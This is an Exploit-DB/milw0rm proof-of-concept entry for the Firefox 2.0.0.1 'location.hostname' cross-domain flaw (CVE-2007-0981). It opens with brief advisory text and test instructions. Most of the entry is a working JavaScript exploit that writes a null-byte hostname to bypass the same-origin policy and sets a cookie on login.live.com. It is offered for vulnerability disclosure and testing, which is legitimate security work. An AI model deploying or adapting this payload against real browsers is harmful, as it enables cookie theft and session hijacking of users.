Mozilla Firefox 2.0.0.1 - 'location.hostname' Cross-Domain

EDB-ID:

3340


Platform:

Windows

Published:

2007-02-20

<!--
________________________________________________________________________________
  
Mozilla Firefox 'location.hostname' Cross-Domain Vulnerability
________________________________________________________________________________

Software      : Mozilla Firefox version 2.0.0.1 and prior 
CVE reference : CVE-2007-0981
Impact        : Security Bypass
Risk          : Moderate
Discovered by : Michal Zalewski (http://lcamtuf.coredump.cx/)
Advisory Date	: 2007-02-15

Mozilla Firefox allows remote attackers to bypass the same origin policy, steal
cookies, and conduct other attacks by writing a URI with a null byte to the
hostname (location.hostname) DOM property, due to interactions with DNS
resolver code.

Links
http://lcamtuf.dione.cc/ffhostname.html (test)
https://bugzilla.mozilla.org/show_bug.cgi?id=370445
________________________________________________________________________________

How To Test Your Browser ?
1 - Execute this on your local web server (or change variable 'mydomain')
2 - Go to the link 'http://login.live.com/' and read the login
    (or check Tools -> Options -> Privacy -> Show Cookies for login.live.com)
________________________________________________________________________________

Gorn, gorn.support[gmail]com
2007-02-19 16:00

-->

<script language="javascript"> 
var mydomain = '127.0.0.1';
var var_cook = 'MSPPre=firefox_vulnerability_test';
var dom_cook = 'login.live.com';

if (location.hostname == mydomain)
{
  try { location.hostname = mydomain + '\x00www.' + dom_cook; } 
  catch (err) { alert('Failed to modify location.hostname'); }
} else {
  document.cookie = var_cook + '; domain=.' + dom_cook + '; path=/;';  
}
</script>

# milw0rm.com [2007-02-20]